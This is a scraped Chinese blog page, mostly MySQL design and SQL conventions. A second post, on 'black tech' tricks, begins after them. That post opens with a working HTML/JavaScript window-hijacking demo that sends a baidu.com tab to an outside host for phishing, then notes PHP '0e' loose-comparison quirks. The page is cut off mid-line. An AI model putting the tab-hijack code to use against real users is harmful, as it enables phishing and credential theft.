<h4 id="7、禁止在表中建立预留字段"><a href="#7、禁止在表中建立预留字段" class="headerlink" title="7、禁止在表中建立预留字段"></a>7、禁止在表中建立预留字段</h4><p>预留字段的命名很难做到见名识义 预留字段无法确认存储的数据类型，所以无法选择合适的类型 对预留字段类型的修改，会对表进行锁定</p>
<h4 id="8、禁止在数据库中存储图片，文件等大的二进制数据"><a href="#8、禁止在数据库中存储图片，文件等大的二进制数据" class="headerlink" title="8、禁止在数据库中存储图片，文件等大的二进制数据"></a>8、禁止在数据库中存储图片，文件等大的二进制数据</h4><p>通常文件很大，会短时间内造成数据量快速增长，数据库进行数据库读取时，通常会进行大量的随机 IO 操作，文件很大时，IO 操作很耗时 通常存储于文件服务器，数据库只存储文件地址信息。。</p>
<h4 id="9、禁止在线上做数据库压力测试"><a href="#9、禁止在线上做数据库压力测试" class="headerlink" title="9、禁止在线上做数据库压力测试"></a>9、禁止在线上做数据库压力测试</h4><h4 id="10、禁止从开发环境，测试环境直接连接生成环境数据库"><a href="#10、禁止从开发环境，测试环境直接连接生成环境数据库" class="headerlink" title="10、禁止从开发环境，测试环境直接连接生成环境数据库"></a>10、禁止从开发环境，测试环境直接连接生成环境数据库</h4><h3 id="数据库字段设计规范"><a href="#数据库字段设计规范" class="headerlink" title="数据库字段设计规范"></a>数据库字段设计规范</h3><h4 id="1-优先选择符合存储需要的最小的数据类型"><a href="#1-优先选择符合存储需要的最小的数据类型" class="headerlink" title="1. 优先选择符合存储需要的最小的数据类型"></a>1. 优先选择符合存储需要的最小的数据类型</h4><p>原因<br>列的字段越大，建立索引时所需要的空间也就越大，这样一页中所能存储的索引节点的数量也就越少也越少，在遍历时所需要的IO次数也就越多， 索引的性能也就越差</p>
<p>方法</p>
<h4 id="1、将字符串转换成数字类型存储，如：将IP地址转换成整形数据。"><a href="#1、将字符串转换成数字类型存储，如：将IP地址转换成整形数据。" class="headerlink" title="1、将字符串转换成数字类型存储，如：将IP地址转换成整形数据。"></a>1、将字符串转换成数字类型存储，如：将IP地址转换成整形数据。</h4><p>MySQL 提供了两个方法来处理 IP 地址</p>
<p>inet_aton 把ip转为无符号整型(4-8位)<br>inet_ntoa 把整型的ip转为地址<br>插入数据前，先用 inet_aton 把 IP 地址转为整型，可以节省空间。显示数据时，使用 inet_ntoa 把整型的 IP 地址转为地址显示即可。</p>
<h4 id="2、对于非负型的数据（如自增-ID、整型-IP）来说，要优先使用无符号整型来存储-因为无符号相对于有符号可以多出一倍的存储空间。"><a href="#2、对于非负型的数据（如自增-ID、整型-IP）来说，要优先使用无符号整型来存储-因为无符号相对于有符号可以多出一倍的存储空间。" class="headerlink" title="2、对于非负型的数据（如自增 ID、整型 IP）来说，要优先使用无符号整型来存储,因为无符号相对于有符号可以多出一倍的存储空间。"></a>2、对于非负型的数据（如自增 ID、整型 IP）来说，要优先使用无符号整型来存储,因为无符号相对于有符号可以多出一倍的存储空间。</h4><p>SIGNED INT -2147483648~2147483647<br>UNSIGNED INT 0~4294967295</p>
<p>VARCHAR(N) 中的 N 代表的是字符数，而不是字节数。使用 UTF8 存储 255 个汉字 Varchar(255)=765 个字节。过大的长度会消耗更多的内存</p>
<h4 id="2-避免使用-TEXT、BLOB-数据类型，最常见的TEXT类型可以存储64k的数据"><a href="#2-避免使用-TEXT、BLOB-数据类型，最常见的TEXT类型可以存储64k的数据" class="headerlink" title="2. 避免使用 TEXT、BLOB 数据类型，最常见的TEXT类型可以存储64k的数据"></a>2. 避免使用 TEXT、BLOB 数据类型，最常见的TEXT类型可以存储64k的数据</h4><p>建议把 BLOB 或是TEXT列分离到单独的扩展表中<br>MySQL 内存临时表不支持 TEXT、BLOB 这样的大数据类型，如果查询中包含这样的数据，在排序等操作时，就不能使用内存临时表，必须使用磁盘临时表进行。</p>
<p>而且对于这种数据，MySQL 还是要进行二次查询，会使 SQL 性能变得很差，但是不是说一定不能使用这样的数据类型。</p>
<p>如果一定要使用，建议把 BLOB 或是 TEXT 列分离到单独的扩展表中，查询时一定不要使用 select * 而只需要取出必要的列，不需要 TEXT 列的数据时不要对该列进行查询。<br>TEXT 或 BLOB 类型只能使用前缀索引<br>因为 MySQL 对索引字段长度是有限制的，所以 TEXT 类型只能使用前缀索引，并且 TEXT 列上是不能有默认值的。</p>
<h4 id="3-避免使用-ENUM-类型"><a href="#3-避免使用-ENUM-类型" class="headerlink" title="3. 避免使用 ENUM 类型"></a>3. 避免使用 ENUM 类型</h4><p>修改 ENUM 值需要使用 ALTER 语句<br>ENUM 类型的 ORDER BY 操作效率低，需要额外操作<br>禁止使用数值作为 ENUM 的枚举值</p>
<h4 id="4-尽可能把所有列定义为-NOT-NULL"><a href="#4-尽可能把所有列定义为-NOT-NULL" class="headerlink" title="4. 尽可能把所有列定义为 NOT NULL"></a>4. 尽可能把所有列定义为 NOT NULL</h4><p>原因：<br>索引 NULL 列需要额外的空间来保存，所以要占用更多的空间。<br>进行比较和计算时要对 NULL 值做特别的处理。</p>
<h4 id="5-使用-TIMESTAMP（4-个字节）或-DATETIME-类型（8-个字节）存储时间"><a href="#5-使用-TIMESTAMP（4-个字节）或-DATETIME-类型（8-个字节）存储时间" class="headerlink" title="5. 使用 TIMESTAMP（4 个字节）或 DATETIME 类型（8 个字节）存储时间"></a>5. 使用 TIMESTAMP（4 个字节）或 DATETIME 类型（8 个字节）存储时间</h4><p>TIMESTAMP 存储的时间范围 1970-01-01 00:00:01 ~ 2038-01-19-03:14:07。</p>
<p>TIMESTAMP 占用 4 字节和 INT 相同，但比 INT 可读性高，超出 TIMESTAMP 取值范围的使用 DATETIME 类型存储。</p>
<p>经常会有人用字符串存储日期型的数据（不正确的做法）：<br>缺点 1：无法用日期函数进行计算和比较。<br>缺点 2：用字符串存储日期要占用更多的空间。</p>
<h4 id="6-同财务相关的金额类数据必须使用-decimal-类型"><a href="#6-同财务相关的金额类数据必须使用-decimal-类型" class="headerlink" title="6. 同财务相关的金额类数据必须使用 decimal 类型"></a>6. 同财务相关的金额类数据必须使用 decimal 类型</h4><p>非精准浮点：float，double<br>精准浮点：decimal<br>Decimal 类型为精准浮点数，在计算时不会丢失精度。占用空间由定义的宽度决定，每 4 个字节可以存储 9 位数字，并且小数点要占用一个字节。可用于存储比 bigint 更大的整型数据。</p>
<h3 id="索引设计规范"><a href="#索引设计规范" class="headerlink" title="索引设计规范"></a>索引设计规范</h3><h4 id="1-限制每张表上的索引数量，建议单张表索引不超过-5-个"><a href="#1-限制每张表上的索引数量，建议单张表索引不超过-5-个" class="headerlink" title="1. 限制每张表上的索引数量，建议单张表索引不超过 5 个"></a>1. 限制每张表上的索引数量，建议单张表索引不超过 5 个</h4><p>索引并不是越多越好！索引可以提高效率同样也可以降低效率；索引可以增加查询效率，但同样也会降低插入和更新的效率，甚至有些情况下会降低查询效率。</p>
<p>因为 MySQL 优化器在选择如何优化查询时，会根据统一信息，对每一个可以用到的索引来进行评估，以生成出一个最好的执行计划，如果同时有很多个索引都可以用于查询，就会增加 MySQL 优化器生成执行计划的时间，同样会降低查询性能</p>
<h4 id="2-禁止给表中的每一列都建立单独的索引"><a href="#2-禁止给表中的每一列都建立单独的索引" class="headerlink" title="2. 禁止给表中的每一列都建立单独的索引"></a>2. 禁止给表中的每一列都建立单独的索引</h4><p>5.6 版本之前，一个 SQL 只能使用到一个表中的一个索引，5.6 以后，虽然有了合并索引的优化方式，但是还是远远没有使用一个联合索引的查询方式好</p>
<h4 id="3-每个-InnoDB-表必须有个主键"><a href="#3-每个-InnoDB-表必须有个主键" class="headerlink" title="3. 每个 InnoDB 表必须有个主键"></a>3. 每个 InnoDB 表必须有个主键</h4><p>InnoDB 是一种索引组织表：数据的存储的逻辑顺序和索引的顺序是相同的。每个表都可以有多个索引，但是表的存储顺序只能有一种 InnoDB是按照主键索引的顺序来组织表的。</p>
<p>不要使用更新频繁的列作为主键，不适用多列主键（相当于联合索引） 不要使用 UUID、MD5、HASH、字符串列作为主键（无法保证数据的顺序增长）。主键建议使用自增 ID 值。<br>常见索引列建议</p>
<p>出现在 SELECT、UPDATE、DELETE 语句的 WHERE 从句中的列。</p>
<p>包含在 ORDER BY、GROUP BY、DISTINCT 中的字段。</p>
<p>并不要将符合 1 和 2 中的字段的列都建立一个索引，通常将 1、2 中的字段建立联合索引效果更好。</p>
<p>多表 JOIN 的关联列。</p>
<p>如何选择索引列的顺序</p>
<p>建立索引的目的是：希望通过索引进行数据查找，减少随机 IO，增加查询性能 ，索引能过滤出越少的数据，则从磁盘中读入的数据也就越少。</p>
<p>区分度最高的放在联合索引的最左侧（区分度 = 列中不同值的数量 / 列的总行数）。<br>尽量把字段长度小的列放在联合索引的最左侧（因为字段长度越小，一页能存储的数据量越大，IO 性能也就越好）。<br>使用最频繁的列放到联合索引的左侧（这样可以比较少的建立一些索引）。<br>避免建立冗余索引和重复索引</p>
<p>因为这样会增加查询优化器生成执行计划的时间。</p>
<p>重复索引示例：primary key(id)、index(id)、unique index(id)</p>
<p>冗余索引示例：index(a,b,c)、index(a,b)、index(a）<br>优先考虑覆盖索引</p>
<p>对于频繁的查询优先考虑使用覆盖索引。</p>
<p>覆盖索引：就是包含了所有查询字段(where,select,ordery by,group by包含的字段)的索引</p>
<p>覆盖索引的好处：</p>
<p>避免 InnoDB 表进行索引的二次查询<br>InnoDB 是以聚集索引的顺序来存储的，对于 InnoDB 来说，二级索引在叶子节点中所保存的是行的主键信息，如果是用二级索引查询数据的话，在查找到相应的键值后，还要通过主键进行二次查询才能获取我们真实所需要的数据。而在覆盖索引中，二级索引的键值中可以获取所有的数据，避免了对主键的二次查询 ，减少了 IO 操作，提升了查询效率。</p>
<p>可以把随机 IO 变成顺序 IO 加快查询效率<br>由于覆盖索引是按键值的顺序存储的，对于 IO 密集型的范围查找来说，对比随机从磁盘读取每一行的数据 IO 要少的多，因此利用覆盖索引在访问时也可以把磁盘的随机读取的 IO 转变成索引查找的顺序 IO。<br>索引SET规范</p>
<p>尽量避免使用外键约束。</p>
<p>不建议使用外键约束（foreign key），但一定要在表与表之间的关联键上建立索引。</p>
<p>外键可用于保证数据的参照完整性，但建议在业务端实现。</p>
<p>外键会影响父表和子表的写操作从而降低性能。</p>
<h3 id="数据库SQL开发规范"><a href="#数据库SQL开发规范" class="headerlink" title="数据库SQL开发规范"></a>数据库SQL开发规范</h3><h4 id="1-建议使用预编译语句进行数据库操作"><a href="#1-建议使用预编译语句进行数据库操作" class="headerlink" title="1. 建议使用预编译语句进行数据库操作"></a>1. 建议使用预编译语句进行数据库操作</h4><p>预编译语句可以重复使用这些计划，减少 SQL 编译所需要的时间，还可以解决动态 SQL 所带来的 SQL 注入的问题 只传参数，比传递 SQL 语句更高效 相同语句可以一次解析，多次使用，提高处理效率。</p>
<h4 id="2-避免数据类型的隐式转换"><a href="#2-避免数据类型的隐式转换" class="headerlink" title="2. 避免数据类型的隐式转换"></a>2. 避免数据类型的隐式转换</h4><p>隐式转换会导致索引失效。如：<br>select name,phone from customer where id = ‘111’;</p>
<h4 id="3-充分利用表上已经存在的索引"><a href="#3-充分利用表上已经存在的索引" class="headerlink" title="3. 充分利用表上已经存在的索引"></a>3. 充分利用表上已经存在的索引</h4><p>避免使用双 % 号的查询条件。<br>如a like ‘%123%’，（如果无前置 %，只有后置 %，是可以用到列上的索引的）</p>
<p>一个 SQL 只能利用到复合索引中的一列进行范围查询<br>如：有 a,b,c 列的联合索引，在查询条件中有 a 列的范围查询，则在 b,c 列上的索引将不会被用到，在定义联合索引时，如果a列要用到范围查找的话，就要把 a 列放到联合索引的右侧。</p>
<p>使用 left join 或 not exists 来优化 not in 操作<br>因为 not in 也通常会使用索引失效。</p>
<h4 id="4-数据库设计时，应该要对以后扩展进行考虑"><a href="#4-数据库设计时，应该要对以后扩展进行考虑" class="headerlink" title="4. 数据库设计时，应该要对以后扩展进行考虑"></a>4. 数据库设计时，应该要对以后扩展进行考虑</h4><h4 id="5-程序连接不同的数据库使用不同的账号，进制跨库查询"><a href="#5-程序连接不同的数据库使用不同的账号，进制跨库查询" class="headerlink" title="5. 程序连接不同的数据库使用不同的账号，进制跨库查询"></a>5. 程序连接不同的数据库使用不同的账号，进制跨库查询</h4><p>为数据库迁移和分库分表留出余地<br>降低业务耦合度<br>避免权限过大而产生的安全风险</p>
<h4 id="6-禁止使用-SELECT-必须使用-SELECT-lt-字段列表-gt-查询"><a href="#6-禁止使用-SELECT-必须使用-SELECT-lt-字段列表-gt-查询" class="headerlink" title="6. 禁止使用 SELECT * 必须使用 SELECT &lt;字段列表&gt; 查询"></a>6. 禁止使用 SELECT * 必须使用 SELECT &lt;字段列表&gt; 查询</h4><p>消耗更多的 CPU 和 IO 以网络带宽资源<br>无法使用覆盖索引<br>可减少表结构变更带来的影响</p>
<h4 id="7-禁止使用不含字段列表的-INSERT-语句"><a href="#7-禁止使用不含字段列表的-INSERT-语句" class="headerlink" title="7. 禁止使用不含字段列表的 INSERT 语句"></a>7. 禁止使用不含字段列表的 INSERT 语句</h4><p>如：<br>insert into values (‘a’,’b’,’c’); </p>
<p>应使用：<br>insert into t(c1,c2,c3) values (‘a’,’b’,’c’);</p>
<h4 id="8-避免使用子查询，可以把子查询优化为-JOIN-操作"><a href="#8-避免使用子查询，可以把子查询优化为-JOIN-操作" class="headerlink" title="8. 避免使用子查询，可以把子查询优化为 JOIN 操作"></a>8. 避免使用子查询，可以把子查询优化为 JOIN 操作</h4><p>通常子查询在 in 子句中，且子查询中为简单 SQL ( 不包含 union、group by、order by、limit 从句 ) 时，才可以把子查询转化为关联查询进行优化。<br>子查询性能差的原因：<br>子查询的结果集无法使用索引，通常子查询的结果集会被存储到临时表中，不论是内存临时表还是磁盘临时表都不会存在索引，所以查询性能会受到一定的影响。<br>特别是对于返回结果集比较大的子查询，其对查询性能的影响也就越大。<br>由于子查询会产生大量的临时表也没有索引，所以会消耗过多的 CPU 和 IO 资源，产生大量的慢查询。</p>
<h4 id="9-避免使用-JOIN-关联太多的表"><a href="#9-避免使用-JOIN-关联太多的表" class="headerlink" title="9. 避免使用 JOIN 关联太多的表"></a>9. 避免使用 JOIN 关联太多的表</h4><p>对于 MySQL 来说，是存在关联缓存的，缓存的大小可以由 join_buffer_size 参数进行设置。</p>
<p>在 MySQL 中，对于同一个 SQL 多关联（join）一个表，就会多分配一个关联缓存，如果在一个 SQL 中关联的表越多，所占用的内存也就越大。</p>
<p>如果程序中大量的使用了多表关联的操作，同时 join_buffer_size 设置的也不合理的情况下，就容易造成服务器内存溢出的情况，就会影响到服务器数据库性能的稳定性。</p>
<p>同时对于关联操作来说，会产生临时表操作，影响查询效率 MySQL 最多允许关联 61 个表，建议不超过 5 个。</p>
<h4 id="10-减少同数据库的交互次数"><a href="#10-减少同数据库的交互次数" class="headerlink" title="10. 减少同数据库的交互次数"></a>10. 减少同数据库的交互次数</h4><p>数据库更适合处理批量操作 合并多个相同的操作到一起，可以提高处理效率</p>
<h4 id="11-对应同一列进行-or-判断时，使用-in-代替-or"><a href="#11-对应同一列进行-or-判断时，使用-in-代替-or" class="headerlink" title="11. 对应同一列进行 or 判断时，使用 in 代替 or"></a>11. 对应同一列进行 or 判断时，使用 in 代替 or</h4><p>In 的值不要超过 500 个， in 操作可以更有效的利用索引，or 大多数情况下很少能利用到索引。</p>
<h4 id="12-禁止使用-order-by-rand-进行随机排序"><a href="#12-禁止使用-order-by-rand-进行随机排序" class="headerlink" title="12. 禁止使用 order by rand() 进行随机排序"></a>12. 禁止使用 order by rand() 进行随机排序</h4><p>会把表中所有符合条件的数据装载到内存中，然后在内存中对所有数据根据随机生成的值进行排序，并且可能会对每一行都生成一个随机值，如果满足条件的数据集非常大，就会消耗大量的 CPU 和 IO 及内存资源。</p>
<p>推荐在程序中获取一个随机值，然后从数据库中获取数据的方式。</p>
<h4 id="13-WHERE从句中禁止对列进行函数转换和计算"><a href="#13-WHERE从句中禁止对列进行函数转换和计算" class="headerlink" title="13. WHERE从句中禁止对列进行函数转换和计算"></a>13. WHERE从句中禁止对列进行函数转换和计算</h4><p>对列进行函数转换或计算时会导致无法使用索引。<br>不推荐：<br>where date(create_time)=’20190101’</p>
<p>推荐：<br>where create_time &gt;= ‘20190101’ and create_time &lt; ‘20190102’</p>
<h4 id="14-在明显不会有重复值时使用-UNION-ALL-而不是-UNION"><a href="#14-在明显不会有重复值时使用-UNION-ALL-而不是-UNION" class="headerlink" title="14. 在明显不会有重复值时使用 UNION ALL 而不是 UNION"></a>14. 在明显不会有重复值时使用 UNION ALL 而不是 UNION</h4><p>UNION 会把两个结果集的所有数据放到临时表中后再进行去重操作。<br>UNION ALL 不会再对结果集进行去重操作。</p>
<h4 id="15-拆分复杂的大-SQL-为多个小-SQL"><a href="#15-拆分复杂的大-SQL-为多个小-SQL" class="headerlink" title="15. 拆分复杂的大 SQL 为多个小 SQL"></a>15. 拆分复杂的大 SQL 为多个小 SQL</h4><p>大 SQL：逻辑上比较复杂，需要占用大量 CPU 进行计算的SQL 。<br>MySQL：一个 SQL 只能使用一个 CPU 进行计算。<br>SQL 拆分后可以通过并行执行来提高处理效率。</p>
<h3 id="大limit"><a href="#大limit" class="headerlink" title="大limit"></a>大limit</h3><p>SELECT <em> FROM table ORDER BY TIME DESC LIMIT 10000,10;<br>这种分页方式会导致大量的 io，因为 MySQL 使用的是提前读取策略。<br>推荐分页方式：<br>SELECT </em> FROM table WHERE TIME&lt;last_TIME ORDER BY TIME DESC LIMIT 10.<br>SELECT * FROM table inner JOIN(SELECT id FROM table ORDER BY TIME LIMIT 10000,10) as t USING(id)</p>
<h3 id="数据库操作行为规范"><a href="#数据库操作行为规范" class="headerlink" title="数据库操作行为规范"></a>数据库操作行为规范</h3><h4 id="1-超-100-万行的批量写（UPDATE、DELETE、INSERT）操作，要分批多次进行操作"><a href="#1-超-100-万行的批量写（UPDATE、DELETE、INSERT）操作，要分批多次进行操作" class="headerlink" title="1. 超 100 万行的批量写（UPDATE、DELETE、INSERT）操作，要分批多次进行操作"></a>1. 超 100 万行的批量写（UPDATE、DELETE、INSERT）操作，要分批多次进行操作</h4><p>大批量操作可能会造成严重的主从延迟<br>主从环境中，大批量操作可能会造成严重的主从延迟，大批量的写操作一般都需要执行一定长的时间，而只有当主库上执行完成后，才会在其他从库上执行，所以会造成主库与从库长时间的延迟情况<br>Binlog 日志为 row 格式时会产生大量的日志<br>大批量写操作会产生大量日志，特别是对于 row 格式二进制数据而言，由于在 row 格式中会记录每一行数据的修改，我们一次修改的数据越多，产生的日志量也就会越多，日志的传输和恢复所需要的时间也就越长，这也是造成主从延迟的一个原因。<br>避免产生大事务操作<br>大批量修改数据，一定是在一个事务中进行的，这就会造成表中大批量数据进行锁定，从而导致大量的阻塞，阻塞会对 MySQL 的性能产生非常大的影响。<br>特别是长时间的阻塞会占满所有数据库的可用连接，这会使生产环境中的其他应用无法连接到数据库，因此一定要注意大批量写操作要进行分批。</p>
<h4 id="2-对于大表使用-pt-online-schema-change-修改表结构"><a href="#2-对于大表使用-pt-online-schema-change-修改表结构" class="headerlink" title="2. 对于大表使用 pt-online-schema-change 修改表结构"></a>2. 对于大表使用 pt-online-schema-change 修改表结构</h4><p>避免大表修改产生的主从延迟<br>避免在对表字段进行修改时进行锁表<br>对大表数据结构的修改一定要谨慎，会造成严重的锁表操作，尤其是生产环境，是不能容忍的。</p>
<p>pt-online-schema-change 它会首先建立一个与原表结构相同的新表，并且在新表上进行表结构的修改，然后再把原表中的数据复制到新表中，并在原表中增加一些触发器。</p>
<p>把原表中新增的数据也复制到新表中，在行所有数据复制完成之后，把新表命名成原表，并把原来的表删除掉,把原来一个 DDL 操作，分解成多个小的批次进行。</p>
<h4 id="3-禁止为程序使用的账号赋予-super-权限"><a href="#3-禁止为程序使用的账号赋予-super-权限" class="headerlink" title="3. 禁止为程序使用的账号赋予 super 权限"></a>3. 禁止为程序使用的账号赋予 super 权限</h4><p>当达到最大连接数限制时，还运行 1个 有 super 权限的用户连接 super 权限只能留给 DBA 处理问题的账号使用。</p>
<h4 id="4-对于程序连接数据库账号，遵循权限最小原则"><a href="#4-对于程序连接数据库账号，遵循权限最小原则" class="headerlink" title="4. 对于程序连接数据库账号，遵循权限最小原则"></a>4. 对于程序连接数据库账号，遵循权限最小原则</h4><p>程序使用数据库账号只能在一个 DB 下使用，不准跨库 程序使用的账号原则上不准有 drop 权限。</p>
<h3 id="修改表的默认字符集不会改表各个字段的字符集"><a href="#修改表的默认字符集不会改表各个字段的字符集" class="headerlink" title="修改表的默认字符集不会改表各个字段的字符集"></a>修改表的默认字符集不会改表各个字段的字符集</h3><p>很多初学者会将 ALTER TABLE tbl_name [DEFAULT] CHARACTER SET ‘UTF8’ 误认为会修改所有字段的字符集，但实际上它只会影响后续新增的字段不会改表已有字段的字符集。<br>如果想修改整张表所有字段的字符集建议使用 ALTER TABLE tbl_name CONVERT TO CHARACTER SET charset_name;</p>
<h3 id="多条-ALTER-请求建议合为一条"><a href="#多条-ALTER-请求建议合为一条" class="headerlink" title="多条 ALTER 请求建议合为一条"></a>多条 ALTER 请求建议合为一条</h3><p>ALTER TABLE tbl ADD COLUMN col int, ADD INDEX idx_col (<code>col</code>);</p>
<p><a href="https://dev.mysql.com/doc/employee/en/employees-installation.html" target="_blank" rel="noopener">MySQL测试数据</a></p>
<p><a href="https://blog.csdn.net/zytbft/article/details/84504348" target="_blank" rel="noopener"> SQL语句在线练习</a></p>
<p><a href="http://sqlfiddle.com/#!9" target="_blank" rel="noopener">MySQL在线测试</a></p>
<p><a href="https://github.com/XiaoMi/soar/blob/master/doc/heuristic.md" target="_blank" rel="noopener">MySQL 避坑宝典</a></p>
<p><a href="https://learnku.com/articles/25224" target="_blank" rel="noopener">面试之 Memcache 相关</a></p>
<p><a href="https://mp.weixin.qq.com/s/Tgi52hQj8ANerZIF8h_zgA" target="_blank" rel="noopener">一份非常完整的 MySQL 规范</a></p>
<p><a href="https://learnku.com/articles/25148#topnav" target="_blank" rel="noopener">MySQL 社区规范 | 数据库篇</a></p>
<p><a href="https://learnku.com/articles/25116#topnav" target="_blank" rel="noopener">MySQL 规范 (数据库表设计规范)</a></p>
<p><a href="https://learnku.com/articles/25020#topnav" target="_blank" rel="noopener">MySQL 规范</a></p>
<p><a href="http://cw.hubwiz.com/card/c/543b2f3cf86387171814c026/1/1/5/" target="_blank" rel="noopener">MongoDB教程</a></p>
<p><a href="https://github.com/StevenSLXie/Tutorials-for-Web-Developers/blob/master/MongoDB%20%E6%9E%81%E7%AE%80%E5%AE%9E%E8%B7%B5%E5%85%A5%E9%97%A8.md" target="_blank" rel="noopener">MongoDB 极简实践入门</a></p>
<p><a href="http://fanqieto.top/2017/11/23/mysql%E6%95%B0%E6%8D%AE%E5%BA%93%E7%BB%93%E6%9E%84%E4%BC%98%E5%8C%96/" target="_blank" rel="noopener">mysql数据库结构优化</a></p>
<p><a href="https://learnku.com/articles/18784#topnav" target="_blank" rel="noopener">MySQL 配置读写分离</a></p>
<p><a href="https://learnku.com/articles/27641" target="_blank" rel="noopener">MySQL 细致总结之中级篇</a></p>
<p><a href="https://learnku.com/articles/26434#topnav" target="_blank" rel="noopener">数据库并发如何让数据操作串行化</a></p>
<p><a href="https://segmentfault.com/a/1190000019284665" target="_blank" rel="noopener">去 BAT 面试，总结了这 55 道 MySQL 面试题！</a></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/03/01/那些黑科技/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/03/01/那些黑科技/" itemprop="url">那些黑科技</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-03-01T17:00:57+08:00">
                2019-03-01
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  4.4k 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  20 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <h3 id="远程控制地址栏"><a href="#远程控制地址栏" class="headerlink" title="远程控制地址栏"></a>远程控制地址栏</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="comment">//675ba661.w1n.pw/41593a https://www.leavesongs.com/PENETRATION/use-target-to-spoof-fishing.html</span></span><br><span class="line">&lt;html&gt;</span><br><span class="line">&lt;head&gt;&lt;meta charset="utf-8"&gt;&lt;/head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">&lt;a href=<span class="string">"https://www.baidu.com"</span> target=<span class="string">"baidu"</span> id=<span class="string">"baidu"</span> onclick=<span class="string">"return start()"</span>&gt;click me&lt;<span class="regexp">/a&gt;</span></span><br><span class="line"><span class="regexp"></span></span><br><span class="line"><span class="regexp">&lt;script&gt;</span></span><br><span class="line"><span class="regexp">function start() &#123;</span></span><br><span class="line"><span class="regexp">    setInterval(function() &#123;</span></span><br><span class="line"><span class="regexp">        baidu.href="http:/</span><span class="regexp">/675ba661.w1n.pw/</span>baidu<span class="string">";</span></span><br><span class="line"><span class="string">        baidu.click();</span></span><br><span class="line"><span class="string">    &#125;, 10000);</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&lt;/script&gt;</span></span><br><span class="line"><span class="string">&lt;/body&gt;</span></span><br><span class="line"><span class="string">&lt;/html&gt;</span></span><br><span class="line"><span class="string">&lt;html&gt;</span></span><br><span class="line"><span class="string">&lt;head&gt;&lt;meta charset="</span>utf<span class="number">-8</span><span class="string">"&gt;&lt;/head&gt;</span></span><br><span class="line"><span class="string">&lt;body&gt;</span></span><br><span class="line"><span class="string">&lt;a href="</span>javascript:;<span class="string">" onclick="</span><span class="keyword">return</span> start()<span class="string">"&gt;click me&lt;/a&gt;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">&lt;script&gt;</span></span><br><span class="line"><span class="string">function start() &#123;</span></span><br><span class="line"><span class="string">    var w = window.open('https://www.baidu.com', 'baidu');</span></span><br><span class="line"><span class="string">    setInterval(function() &#123;</span></span><br><span class="line"><span class="string">        w.location = 'http://675ba661.w1n.pw/baidu'</span></span><br><span class="line"><span class="string">    &#125;, 5000)</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&lt;/script&gt;</span></span><br><span class="line"><span class="string">&lt;/body&gt;</span></span><br><span class="line"><span class="string">&lt;/html&gt;</span></span><br></pre></td></tr></table></figure>
<h3 id="PHP浮点精确度"><a href="#PHP浮点精确度" class="headerlink" title="PHP浮点精确度"></a>PHP浮点精确度</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//www.itcodemonkey.com/article/2185.html</span></span><br><span class="line">floor((<span class="number">0.1</span>+<span class="number">0.7</span>)*<span class="number">10</span>) 通常会返回 <span class="number">7</span> 而不是预期中的 <span class="number">8</span>，因为该结果内部的表示其实是类似 <span class="number">7.9999999999999991118</span>…。</span><br><span class="line">?year=<span class="number">2016.99999999999</span> 输出<span class="number">2017</span></span><br><span class="line">var_dump(<span class="string">"0e123"</span> == <span class="string">"0e456"</span>);  <span class="comment">//true</span></span><br><span class="line">var_dump(<span class="string">"0e123"</span> == <span class="string">"0eabc"</span>);  <span class="comment">//flase</span></span><br><span class="line"><span class="number">0e123</span>与<span 